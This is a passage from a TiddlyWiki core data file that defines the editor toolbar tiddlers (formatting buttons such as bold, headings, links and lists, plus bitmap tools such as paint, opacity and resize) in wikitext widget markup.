"text": "\\define save-tiddler-button()\n<$fieldmangler><$button tooltip={{$:/language/Buttons/Save/Hint}} aria-label={{$:/language/Buttons/Save/Caption}} class=<<tv-config-toolbar-class>>>\n<<save-tiddler-actions>>\n<$list filter=\"[<tv-config-toolbar-icons>match[yes]]\">\n{{$:/core/images/done-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>match[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/Save/Caption}}/></span>\n</$list>\n</$button></$fieldmangler>\n\\end\n<<save-tiddler-button>>\n"
},
"$:/core/ui/EditorToolbar/bold": {
"title": "$:/core/ui/EditorToolbar/bold",
"tags": "$:/tags/EditorToolbar",
"icon": "$:/core/images/bold",
"caption": "{{$:/language/Buttons/Bold/Caption}}",
"description": "{{$:/language/Buttons/Bold/Hint}}",
"condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
"shortcuts": "((bold))",
"text": "<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"wrap-selection\"\n\tprefix=\"''\"\n\tsuffix=\"''\"\n/>\n"
},
"$:/core/ui/EditorToolbar/clear-dropdown": {
"title": "$:/core/ui/EditorToolbar/clear-dropdown",
"text": "''{{$:/language/Buttons/Clear/Hint}}''\n\n<div class=\"tc-colour-chooser\">\n\n<$macrocall $name=\"colour-picker\" actions=\"\"\"\n\n<$action-sendmessage\n\t$message=\"tm-edit-bitmap-operation\"\n\t$param=\"clear\"\n\tcolour=<<colour-picker-value>>\n/>\n\n<$action-deletetiddler\n\t$tiddler=<<dropdown-state>>\n/>\n\n\"\"\"/>\n\n</div>\n"
},
"$:/core/ui/EditorToolbar/clear": {
"title": "$:/core/ui/EditorToolbar/clear",
"tags": "$:/tags/EditorToolbar",
"icon": "$:/core/images/erase",
"caption": "{{$:/language/Buttons/Clear/Caption}}",
"description": "{{$:/language/Buttons/Clear/Hint}}",
"condition": "[<targetTiddler>is[image]]",
"dropdown": "$:/core/ui/EditorToolbar/clear-dropdown",
"text": ""
},
"$:/core/ui/EditorToolbar/editor-height-dropdown": {
"title": "$:/core/ui/EditorToolbar/editor-height-dropdown",
"text": "\\define lingo-base() $:/language/Buttons/EditorHeight/\n''<<lingo Hint>>''\n\n<$radio tiddler=\"$:/config/TextEditor/EditorHeight/Mode\" value=\"auto\"> {{$:/core/images/auto-height}} <<lingo Caption/Auto>></$radio>\n\n<$radio tiddler=\"$:/config/TextEditor/EditorHeight/Mode\" value=\"fixed\"> {{$:/core/images/fixed-height}} <<lingo Caption/Fixed>> <$edit-text tag=\"input\" tiddler=\"$:/config/TextEditor/EditorHeight/Height\" default=\"100px\"/></$radio>\n"
},
"$:/core/ui/EditorToolbar/editor-height": {
"title": "$:/core/ui/EditorToolbar/editor-height",
"tags": "$:/tags/EditorToolbar",
"icon": "$:/core/images/fixed-height",
"custom-icon": "yes",
"caption": "{{$:/language/Buttons/EditorHeight/Caption}}",
"description": "{{$:/language/Buttons/EditorHeight/Hint}}",
"condition": "[<targetTiddler>type[]] [<targetTiddler>get[type]prefix[text/]] +[first[]]",
"dropdown": "$:/core/ui/EditorToolbar/editor-height-dropdown",
"text": "<$reveal tag=\"span\" state=\"$:/config/TextEditor/EditorHeight/Mode\" type=\"match\" text=\"fixed\">\n{{$:/core/images/fixed-height}}\n</$reveal>\n<$reveal tag=\"span\" state=\"$:/config/TextEditor/EditorHeight/Mode\" type=\"match\" text=\"auto\">\n{{$:/core/images/auto-height}}\n</$reveal>\n"
},
"$:/core/ui/EditorToolbar/excise-dropdown": {
"title": "$:/core/ui/EditorToolbar/excise-dropdown",
"text": "\\define lingo-base() $:/language/Buttons/Excise/\n\n\\define body(config-title)\n''<<lingo Hint>>''\n\n<<lingo Caption/NewTitle>> <$edit-text tag=\"input\" tiddler=\"$config-title$/new-title\" default=\"\" focus=\"true\"/>\n\n<$set name=\"new-title\" value={{$config-title$/new-title}}>\n<$list filter=\"\"\"[<new-title>is[tiddler]]\"\"\">\n<div class=\"tc-error\">\n<<lingo Caption/TiddlerExists>>\n</div>\n</$list>\n</$set>\n\n<$checkbox tiddler=\"\"\"$config-title$/tagnew\"\"\" field=\"text\" checked=\"yes\" unchecked=\"no\" default=\"false\"> <<lingo Caption/Tag>></$checkbox>\n\n<<lingo Caption/Replace>> <$select tiddler=\"\"\"$config-title$/type\"\"\" default=\"transclude\">\n<option value=\"link\"><<lingo Caption/Replace/Link>></option>\n<option value=\"transclude\"><<lingo Caption/Replace/Transclusion>></option>\n<option value=\"macro\"><<lingo Caption/Replace/Macro>></option>\n</$select>\n\n<$reveal state=\"\"\"$config-title$/type\"\"\" type=\"match\" text=\"macro\">\n<<lingo Caption/MacroName>> <$edit-text tag=\"input\" tiddler=\"\"\"$config-title$/macro-title\"\"\" default=\"translink\"/>\n</$reveal>\n\n<$button>\n<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"excise\"\n\ttitle={{$config-title$/new-title}}\n\ttype={{$config-title$/type}}\n\tmacro={{$config-title$/macro-title}}\n\ttagnew={{$config-title$/tagnew}}\n/>\n<$action-deletetiddler\n\t$tiddler=\"$config-title$/new-title\"\n/>\n<$action-deletetiddler\n\t$tiddler=<<dropdown-state>>\n/>\n<<lingo Caption/Excise>>\n</$button>\n\\end\n\n<$macrocall $name=\"body\" config-title=<<qualify \"$:/state/Excise/\">>/>\n"
},
"$:/core/ui/EditorToolbar/excise": {
"title": "$:/core/ui/EditorToolbar/excise",
"tags": "$:/tags/EditorToolbar",
"icon": "$:/core/images/excise",
"caption": "{{$:/language/Buttons/Excise/Caption}}",
"description": "{{$:/language/Buttons/Excise/Hint}}",
"condition": "[<targetTiddler>type[]] [<targetTiddler>type[text/vnd.tiddlywiki]] +[first[]]",
"shortcuts": "((excise))",
"dropdown": "$:/core/ui/EditorToolbar/excise-dropdown",
"text": ""
},
"$:/core/ui/EditorToolbar/heading-1": {
"title": "$:/core/ui/EditorToolbar/heading-1",
"tags": "$:/tags/EditorToolbar",
"icon": "$:/core/images/heading-1",
"caption": "{{$:/language/Buttons/Heading1/Caption}}",
"description": "{{$:/language/Buttons/Heading1/Hint}}",
"condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
"button-classes": "tc-text-editor-toolbar-item-start-group",
"shortcuts": "((heading-1))",
"text": "<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"prefix-lines\"\n\tcharacter=\"!\"\n\tcount=\"1\"\n/>\n"
},
"$:/core/ui/EditorToolbar/heading-2": {
"title": "$:/core/ui/EditorToolbar/heading-2",
"tags": "$:/tags/EditorToolbar",
"icon": "$:/core/images/heading-2",
"caption": "{{$:/language/Buttons/Heading2/Caption}}",
"description": "{{$:/language/Buttons/Heading2/Hint}}",
"condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
"shortcuts": "((heading-2))",
"text": "<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"prefix-lines\"\n\tcharacter=\"!\"\n\tcount=\"2\"\n/>\n"
},
"$:/core/ui/EditorToolbar/heading-3": {
"title": "$:/core/ui/EditorToolbar/heading-3",
"tags": "$:/tags/EditorToolbar",
"icon": "$:/core/images/heading-3",
"caption": "{{$:/language/Buttons/Heading3/Caption}}",
"description": "{{$:/language/Buttons/Heading3/Hint}}",
"condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
"shortcuts": "((heading-3))",
"text": "<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"prefix-lines\"\n\tcharacter=\"!\"\n\tcount=\"3\"\n/>\n"
},
"$:/core/ui/EditorToolbar/heading-4": {
"title": "$:/core/ui/EditorToolbar/heading-4",
"tags": "$:/tags/EditorToolbar",
"icon": "$:/core/images/heading-4",
"caption": "{{$:/language/Buttons/Heading4/Caption}}",
"description": "{{$:/language/Buttons/Heading4/Hint}}",
"condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
"shortcuts": "((heading-4))",
"text": "<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"prefix-lines\"\n\tcharacter=\"!\"\n\tcount=\"4\"\n/>\n"
},
"$:/core/ui/EditorToolbar/heading-5": {
"title": "$:/core/ui/EditorToolbar/heading-5",
"tags": "$:/tags/EditorToolbar",
"icon": "$:/core/images/heading-5",
"caption": "{{$:/language/Buttons/Heading5/Caption}}",
"description": "{{$:/language/Buttons/Heading5/Hint}}",
"condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
"shortcuts": "((heading-5))",
"text": "<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"prefix-lines\"\n\tcharacter=\"!\"\n\tcount=\"5\"\n/>\n"
},
"$:/core/ui/EditorToolbar/heading-6": {
"title": "$:/core/ui/EditorToolbar/heading-6",
"tags": "$:/tags/EditorToolbar",
"icon": "$:/core/images/heading-6",
"caption": "{{$:/language/Buttons/Heading6/Caption}}",
"description": "{{$:/language/Buttons/Heading6/Hint}}",
"condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
"shortcuts": "((heading-6))",
"text": "<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"prefix-lines\"\n\tcharacter=\"!\"\n\tcount=\"6\"\n/>\n"
},
"$:/core/ui/EditorToolbar/italic": {
"title": "$:/core/ui/EditorToolbar/italic",
"tags": "$:/tags/EditorToolbar",
"icon": "$:/core/images/italic",
"caption": "{{$:/language/Buttons/Italic/Caption}}",
"description": "{{$:/language/Buttons/Italic/Hint}}",
"condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
"shortcuts": "((italic))",
"text": "<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"wrap-selection\"\n\tprefix=\"//\"\n\tsuffix=\"//\"\n/>\n"
},
"$:/core/ui/EditorToolbar/line-width-dropdown": {
"title": "$:/core/ui/EditorToolbar/line-width-dropdown",
"text": "\\define lingo-base() $:/language/Buttons/LineWidth/\n\n\\define toolbar-line-width-inner()\n<$button tag=\"a\" tooltip=\"\"\"$(line-width)$\"\"\">\n\n<$action-setfield\n\t$tiddler=\"$:/config/BitmapEditor/LineWidth\"\n\t$value=\"$(line-width)$\"\n/>\n\n<$action-deletetiddler\n\t$tiddler=<<dropdown-state>>\n/>\n\n<div style=\"display: inline-block; margin: 4px calc(80px - $(line-width)$); background-color: #000; width: calc(100px + $(line-width)$ * 2); height: $(line-width)$; border-radius: 120px; vertical-align: middle;\"/>\n\n<span style=\"margin-left: 8px;\">\n\n<$text text=\"\"\"$(line-width)$\"\"\"/>\n\n<$reveal state=\"$:/config/BitmapEditor/LineWidth\" type=\"match\" text=\"\"\"$(line-width)$\"\"\" tag=\"span\">\n\n<$entity entity=\" \"/>\n\n<$entity entity=\"✓\"/>\n\n</$reveal>\n\n</span>\n\n</$button>\n\\end\n\n''<<lingo Hint>>''\n\n<$list filter={{$:/config/BitmapEditor/LineWidths}} variable=\"line-width\">\n\n<<toolbar-line-width-inner>>\n\n</$list>\n"
},
"$:/core/ui/EditorToolbar/line-width": {
"title": "$:/core/ui/EditorToolbar/line-width",
"tags": "$:/tags/EditorToolbar",
"icon": "$:/core/images/line-width",
"caption": "{{$:/language/Buttons/LineWidth/Caption}}",
"description": "{{$:/language/Buttons/LineWidth/Hint}}",
"condition": "[<targetTiddler>is[image]]",
"dropdown": "$:/core/ui/EditorToolbar/line-width-dropdown",
"text": "<$text text={{$:/config/BitmapEditor/LineWidth}}/>"
},
"$:/core/ui/EditorToolbar/link-dropdown": {
"title": "$:/core/ui/EditorToolbar/link-dropdown",
"text": "\\define lingo-base() $:/language/Buttons/Link/\n\n\\define add-link-actions()\n<$action-sendmessage $message=\"tm-edit-text-operation\" $param=\"make-link\" text={{$(linkTiddler)$}} />\n<$action-deletetiddler $tiddler=<<dropdown-state>> />\n<$action-deletetiddler $tiddler=<<searchTiddler>> />\n<$action-deletetiddler $tiddler=<<linkTiddler>> />\n\\end\n\n\\define external-link()\n<$button class=\"tc-btn-invisible\" style=\"width: auto; display: inline-block; background-colour: inherit;\" actions=<<add-link-actions>>>\n{{$:/core/images/chevron-right}}\n</$button>\n\\end\n\n\\define body(config-title)\n''<<lingo Hint>>''\n\n<$vars searchTiddler=\"\"\"$config-title$/search\"\"\" linkTiddler=\"\"\"$config-title$/link\"\"\" linktext=\"\" >\n\n<$vars linkTiddler=<<searchTiddler>>>\n<$keyboard key=\"ENTER\" actions=<<add-link-actions>>>\n<$edit-text tiddler=<<searchTiddler>> type=\"search\" tag=\"input\" focus=\"true\" placeholder={{$:/language/Search/Search}} default=\"\"/>\n<$reveal tag=\"span\" state=<<searchTiddler>> type=\"nomatch\" text=\"\">\n<<external-link>>\n<$button class=\"tc-btn-invisible\" style=\"width: auto; display: inline-block; background-colour: inherit;\">\n<$action-setfield $tiddler=<<searchTiddler>> text=\"\" />\n{{$:/core/images/close-button}}\n</$button>\n</$reveal>\n</$keyboard>\n</$vars>\n\n<$reveal tag=\"div\" state=<<searchTiddler>> type=\"nomatch\" text=\"\">\n\n<$linkcatcher actions=<<add-link-actions>> to=<<linkTiddler>>>\n\n{{$:/core/ui/SearchResults}}\n\n</$linkcatcher>\n\n</$reveal>\n\n</$vars>\n\n\\end\n\n<$macrocall $name=\"body\" config-title=<<qualify \"$:/state/Link/\">>/>"
},
"$:/core/ui/EditorToolbar/link": {
"title": "$:/core/ui/EditorToolbar/link",
"tags": "$:/tags/EditorToolbar",
"icon": "$:/core/images/link",
"caption": "{{$:/language/Buttons/Link/Caption}}",
"description": "{{$:/language/Buttons/Link/Hint}}",
"condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
"button-classes": "tc-text-editor-toolbar-item-start-group",
"shortcuts": "((link))",
"dropdown": "$:/core/ui/EditorToolbar/link-dropdown",
"text": ""
},
"$:/core/ui/EditorToolbar/linkify": {
"title": "$:/core/ui/EditorToolbar/linkify",
"caption": "{{$:/language/Buttons/Linkify/Caption}}",
"condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
"description": "{{$:/language/Buttons/Linkify/Hint}}",
"icon": "$:/core/images/linkify",
"list-before": "$:/core/ui/EditorToolbar/mono-block",
"shortcuts": "((linkify))",
"tags": "$:/tags/EditorToolbar",
"text": "<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"wrap-selection\"\n\tprefix=\"[[\"\n\tsuffix=\"]]\"\n/>\n"
},
"$:/core/ui/EditorToolbar/list-bullet": {
"title": "$:/core/ui/EditorToolbar/list-bullet",
"tags": "$:/tags/EditorToolbar",
"icon": "$:/core/images/list-bullet",
"caption": "{{$:/language/Buttons/ListBullet/Caption}}",
"description": "{{$:/language/Buttons/ListBullet/Hint}}",
"condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
"shortcuts": "((list-bullet))",
"text": "<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"prefix-lines\"\n\tcharacter=\"*\"\n\tcount=\"1\"\n/>\n"
},
"$:/core/ui/EditorToolbar/list-number": {
"title": "$:/core/ui/EditorToolbar/list-number",
"tags": "$:/tags/EditorToolbar",
"icon": "$:/core/images/list-number",
"caption": "{{$:/language/Buttons/ListNumber/Caption}}",
"description": "{{$:/language/Buttons/ListNumber/Hint}}",
"condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
"shortcuts": "((list-number))",
"text": "<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"prefix-lines\"\n\tcharacter=\"#\"\n\tcount=\"1\"\n/>\n"
},
"$:/core/ui/EditorToolbar/mono-block": {
"title": "$:/core/ui/EditorToolbar/mono-block",
"tags": "$:/tags/EditorToolbar",
"icon": "$:/core/images/mono-block",
"caption": "{{$:/language/Buttons/MonoBlock/Caption}}",
"description": "{{$:/language/Buttons/MonoBlock/Hint}}",
"condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
"button-classes": "tc-text-editor-toolbar-item-start-group",
"shortcuts": "((mono-block))",
"text": "<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"wrap-lines\"\n\tprefix=\"\n```\"\n\tsuffix=\"```\"\n/>\n"
},
"$:/core/ui/EditorToolbar/mono-line": {
"title": "$:/core/ui/EditorToolbar/mono-line",
"tags": "$:/tags/EditorToolbar",
"icon": "$:/core/images/mono-line",
"caption": "{{$:/language/Buttons/MonoLine/Caption}}",
"description": "{{$:/language/Buttons/MonoLine/Hint}}",
"condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
"shortcuts": "((mono-line))",
"text": "<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"wrap-selection\"\n\tprefix=\"`\"\n\tsuffix=\"`\"\n/>\n"
},
"$:/core/ui/EditorToolbar/more-dropdown": {
"title": "$:/core/ui/EditorToolbar/more-dropdown",
"text": "\\define config-title()\n$:/config/EditorToolbarButtons/Visibility/$(toolbarItem)$\n\\end\n\n\\define conditional-button()\n<$list filter={{$(toolbarItem)$!!condition}} variable=\"condition\">\n<$transclude tiddler=\"$:/core/ui/EditTemplate/body/toolbar/button\" mode=\"inline\"/> <$transclude tiddler=<<toolbarItem>> field=\"description\"/>\n</$list>\n\\end\n\n<div class=\"tc-text-editor-toolbar-more\">\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/EditorToolbar]!has[draft.of]] -[[$:/core/ui/EditorToolbar/more]]\">\n<$reveal type=\"match\" state=<<config-visibility-title>> text=\"hide\" tag=\"div\">\n<<conditional-button>>\n</$reveal>\n</$list>\n</div>\n"
},
"$:/core/ui/EditorToolbar/more": {
"title": "$:/core/ui/EditorToolbar/more",
"tags": "$:/tags/EditorToolbar",
"icon": "$:/core/images/down-arrow",
"caption": "{{$:/language/Buttons/More/Caption}}",
"description": "{{$:/language/Buttons/More/Hint}}",
"condition": "[<targetTiddler>]",
"dropdown": "$:/core/ui/EditorToolbar/more-dropdown",
"text": ""
},
"$:/core/ui/EditorToolbar/opacity-dropdown": {
"title": "$:/core/ui/EditorToolbar/opacity-dropdown",
"text": "\\define lingo-base() $:/language/Buttons/Opacity/\n\n\\define toolbar-opacity-inner()\n<$button tag=\"a\" tooltip=\"\"\"$(opacity)$\"\"\">\n\n<$action-setfield\n\t$tiddler=\"$:/config/BitmapEditor/Opacity\"\n\t$value=\"$(opacity)$\"\n/>\n\n<$action-deletetiddler\n\t$tiddler=<<dropdown-state>>\n/>\n\n<div style=\"display: inline-block; vertical-align: middle; background-color: $(current-paint-colour)$; opacity: $(opacity)$; width: 1em; height: 1em; border-radius: 50%;\"/>\n\n<span style=\"margin-left: 8px;\">\n\n<$text text=\"\"\"$(opacity)$\"\"\"/>\n\n<$reveal state=\"$:/config/BitmapEditor/Opacity\" type=\"match\" text=\"\"\"$(opacity)$\"\"\" tag=\"span\">\n\n<$entity entity=\" \"/>\n\n<$entity entity=\"✓\"/>\n\n</$reveal>\n\n</span>\n\n</$button>\n\\end\n\n\\define toolbar-opacity()\n''<<lingo Hint>>''\n\n<$list filter={{$:/config/BitmapEditor/Opacities}} variable=\"opacity\">\n\n<<toolbar-opacity-inner>>\n\n</$list>\n\\end\n\n<$set name=\"current-paint-colour\" value={{$:/config/BitmapEditor/Colour}}>\n\n<$set name=\"current-opacity\" value={{$:/config/BitmapEditor/Opacity}}>\n\n<<toolbar-opacity>>\n\n</$set>\n\n</$set>\n"
},
"$:/core/ui/EditorToolbar/opacity": {
"title": "$:/core/ui/EditorToolbar/opacity",
"tags": "$:/tags/EditorToolbar",
"icon": "$:/core/images/opacity",
"caption": "{{$:/language/Buttons/Opacity/Caption}}",
"description": "{{$:/language/Buttons/Opacity/Hint}}",
"condition": "[<targetTiddler>is[image]]",
"dropdown": "$:/core/ui/EditorToolbar/opacity-dropdown",
"text": "<$text text={{$:/config/BitmapEditor/Opacity}}/>\n"
},
"$:/core/ui/EditorToolbar/paint-dropdown": {
"title": "$:/core/ui/EditorToolbar/paint-dropdown",
"text": "''{{$:/language/Buttons/Paint/Hint}}''\n\n<$macrocall $name=\"colour-picker\" actions=\"\"\"\n\n<$action-setfield\n\t$tiddler=\"$:/config/BitmapEditor/Colour\"\n\t$value=<<colour-picker-value>>\n/>\n\n<$action-deletetiddler\n\t$tiddler=<<dropdown-state>>\n/>\n\n\"\"\"/>\n"
},
"$:/core/ui/EditorToolbar/paint": {
"title": "$:/core/ui/EditorToolbar/paint",
"tags": "$:/tags/EditorToolbar",
"icon": "$:/core/images/paint",
"caption": "{{$:/language/Buttons/Paint/Caption}}",
"description": "{{$:/language/Buttons/Paint/Hint}}",
"condition": "[<targetTiddler>is[image]]",
"dropdown": "$:/core/ui/EditorToolbar/paint-dropdown",
"text": "\\define toolbar-paint()\n<div style=\"display: inline-block; vertical-align: middle; background-color: $(colour-picker-value)$; width: 1em; height: 1em; border-radius: 50%;\"/>\n\\end\n<$set name=\"colour-picker-value\" value={{$:/config/BitmapEditor/Colour}}>\n<<toolbar-paint>>\n</$set>\n"
},
"$:/core/ui/EditorToolbar/picture-dropdown": {
"title": "$:/core/ui/EditorToolbar/picture-dropdown",
"text": "\\define replacement-text()\n[img[$(imageTitle)$]]\n\\end\n\n''{{$:/language/Buttons/Picture/Hint}}''\n\n<$macrocall $name=\"image-picker\" actions=\"\"\"\n\n<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"replace-selection\"\n\ttext=<<replacement-text>>\n/>\n\n<$action-deletetiddler\n\t$tiddler=<<dropdown-state>>\n/>\n\n\"\"\"/>\n"
},
"$:/core/ui/EditorToolbar/picture": {
"title": "$:/core/ui/EditorToolbar/picture",
"tags": "$:/tags/EditorToolbar",
"icon": "$:/core/images/picture",
"caption": "{{$:/language/Buttons/Picture/Caption}}",
"description": "{{$:/language/Buttons/Picture/Hint}}",
"condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
"shortcuts": "((picture))",
"dropdown": "$:/core/ui/EditorToolbar/picture-dropdown",
"text": ""
},
"$:/core/ui/EditorToolbar/preview-type-dropdown": {
"title": "$:/core/ui/EditorToolbar/preview-type-dropdown",
"text": "\\define preview-type-button()\n<$button tag=\"a\">\n\n<$action-setfield $tiddler=\"$:/state/editpreviewtype\" $value=\"$(previewType)$\"/>\n\n<$action-deletetiddler\n\t$tiddler=<<dropdown-state>>\n/>\n\n<$transclude tiddler=<<previewType>> field=\"caption\" mode=\"inline\">\n\n<$view tiddler=<<previewType>> field=\"title\" mode=\"inline\"/>\n\n</$transclude> \n\n<$reveal tag=\"span\" state=\"$:/state/editpreviewtype\" type=\"match\" text=<<previewType>> default=\"$:/core/ui/EditTemplate/body/preview/output\">\n\n<$entity entity=\" \"/>\n\n<$entity entity=\"✓\"/>\n\n</$reveal>\n\n</$button>\n\\end\n\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/EditPreview]!has[draft.of]]\" variable=\"previewType\">\n\n<<preview-type-button>>\n\n</$list>\n"
},
"$:/core/ui/EditorToolbar/preview-type": {
"title": "$:/core/ui/EditorToolbar/preview-type",
"tags": "$:/tags/EditorToolbar",
"icon": "$:/core/images/chevron-down",
"caption": "{{$:/language/Buttons/PreviewType/Caption}}",
"description": "{{$:/language/Buttons/PreviewType/Hint}}",
"condition": "[all[shadows+tiddlers]tag[$:/tags/EditPreview]!has[draft.of]butfirst[]limit[1]]",
"button-classes": "tc-text-editor-toolbar-item-adjunct",
"dropdown": "$:/core/ui/EditorToolbar/preview-type-dropdown"
},
"$:/core/ui/EditorToolbar/preview": {
"title": "$:/core/ui/EditorToolbar/preview",
"tags": "$:/tags/EditorToolbar",
"icon": "$:/core/images/preview-open",
"custom-icon": "yes",
"caption": "{{$:/language/Buttons/Preview/Caption}}",
"description": "{{$:/language/Buttons/Preview/Hint}}",
"condition": "[<targetTiddler>]",
"button-classes": "tc-text-editor-toolbar-item-start-group",
"shortcuts": "((preview))",
"text": "<$reveal state=\"$:/state/showeditpreview\" type=\"match\" text=\"yes\" tag=\"span\">\n{{$:/core/images/preview-open}}\n<$action-setfield $tiddler=\"$:/state/showeditpreview\" $value=\"no\"/>\n</$reveal>\n<$reveal state=\"$:/state/showeditpreview\" type=\"nomatch\" text=\"yes\" tag=\"span\">\n{{$:/core/images/preview-closed}}\n<$action-setfield $tiddler=\"$:/state/showeditpreview\" $value=\"yes\"/>\n</$reveal>\n"
},
"$:/core/ui/EditorToolbar/quote": {
"title": "$:/core/ui/EditorToolbar/quote",
"tags": "$:/tags/EditorToolbar",
"icon": "$:/core/images/quote",
"caption": "{{$:/language/Buttons/Quote/Caption}}",
"description": "{{$:/language/Buttons/Quote/Hint}}",
"condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
"shortcuts": "((quote))",
"text": "<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"wrap-lines\"\n\tprefix=\"\n<<<\"\n\tsuffix=\"<<<\"\n/>\n"
},
"$:/core/ui/EditorToolbar/rotate-left": {
"title": "$:/core/ui/EditorToolbar/rotate-left",
"tags": "$:/tags/EditorToolbar",
"icon": "$:/core/images/rotate-left",
"caption": "{{$:/language/Buttons/RotateLeft/Caption}}",
"description": "{{$:/language/Buttons/RotateLeft/Hint}}",
"condition": "[<targetTiddler>is[image]]",
"text": "<$action-sendmessage\n\t$message=\"tm-edit-bitmap-operation\"\n\t$param=\"rotate-left\"\n/>\n"
},
"$:/core/ui/EditorToolbar/size-dropdown": {
"title": "$:/core/ui/EditorToolbar/size-dropdown",
"text": "\\define lingo-base() $:/language/Buttons/Size/\n\n\\define toolbar-button-size-preset(config-title)\n<$set name=\"width\" filter=\"$(sizePair)$ +[first[]]\">\n\n<$set name=\"height\" filter=\"$(sizePair)$ +[last[]]\">\n\n<$button tag=\"a\">\n\n<$action-setfield\n\t$tiddler=\"\"\"$config-title$/new-width\"\"\"\n\t$value=<<width>>\n/>\n\n<$action-setfield\n\t$tiddler=\"\"\"$config-title$/new-height\"\"\"\n\t$value=<<height>>\n/>\n\n<$action-deletetiddler\n\t$tiddler=\"\"\"$config-title$/presets-popup\"\"\"\n/>\n\n<$text text=<<width>>/> × <$text text=<<height>>/>\n\n</$button>\n\n</$set>\n\n</$set>\n\\end\n\n\\define toolbar-button-size(config-title)\n''{{$:/language/Buttons/Size/Hint}}''\n\n<<lingo Caption/Width>> <$edit-text tag=\"input\" tiddler=\"\"\"$config-title$/new-width\"\"\" default=<<tv-bitmap-editor-width>> focus=\"true\" size=\"8\"/> <<lingo Caption/Height>> <$edit-text tag=\"input\" tiddler=\"\"\"$config-title$/new-height\"\"\" default=<<tv-bitmap-editor-height>> size=\"8\"/> <$button popup=\"\"\"$config-title$/presets-popup\"\"\" class=\"tc-btn-invisible tc-popup-keep\" style=\"width: auto; display: inline-block; background-colour: inherit;\" selectedClass=\"tc-selected\">\n{{$:/core/images/down-arrow}}\n</$button>\n\n<$reveal tag=\"span\" state=\"\"\"$config-title$/presets-popup\"\"\" type=\"popup\" position=\"belowleft\" animate=\"yes\">\n\n<div class=\"tc-drop-down tc-popup-keep\">\n\n<$list filter={{$:/config/BitmapEditor/ImageSizes}} variable=\"sizePair\">\n\n<$macrocall $name=\"toolbar-button-size-preset\" config-title=\"$config-title$\"/>\n\n</$list>\n\n</div>\n\n</$reveal>\n\n<$button>\n<$action-sendmessage\n\t$message=\"tm-edit-bitmap-operation\"\n\t$param=\"resize\"\n\twidth={{$config-title$/new-width}}\n\theight={{$config-title$/new-height}}\n/>\n<$action-deletetiddler\n\t$tiddler=\"\"\"$config-title$/new-width\"\"\"\n/>\n<$action-deletetiddler\n\t$tiddler=\"\"\"$config-title$/new-height\"\"\"\n/>\n<$action-deletetiddler\n\t$tiddler=<<dropdown-state>>\n/>\n<<lingo Caption/Resize>>\n</$button>\n\\end\n\n<$macrocall $name=\"toolbar-button-size\" config-title=<<qualify \"$:/state/Size/\">>/>\n"
},
"$:/core/ui/EditorToolbar/size": {
"title": "$:/core/ui/EditorToolbar/size",
"tags": "$:/tags/EditorToolbar",
"icon": "$:/core/images/size",
"caption": "{{$:/language/Buttons/Size/Caption}}",
"description": "{{$:/language/Buttons/Size/Hint}}",
"condition": "[<targetTiddler>is[image]]",
"dropdown": "$:/core/ui/EditorToolbar/size-dropdown",
"text": ""
},
"$:/core/ui/EditorToolbar/stamp-dropdown": {
"title": "$:/core/ui/EditorToolbar/stamp-dropdown",
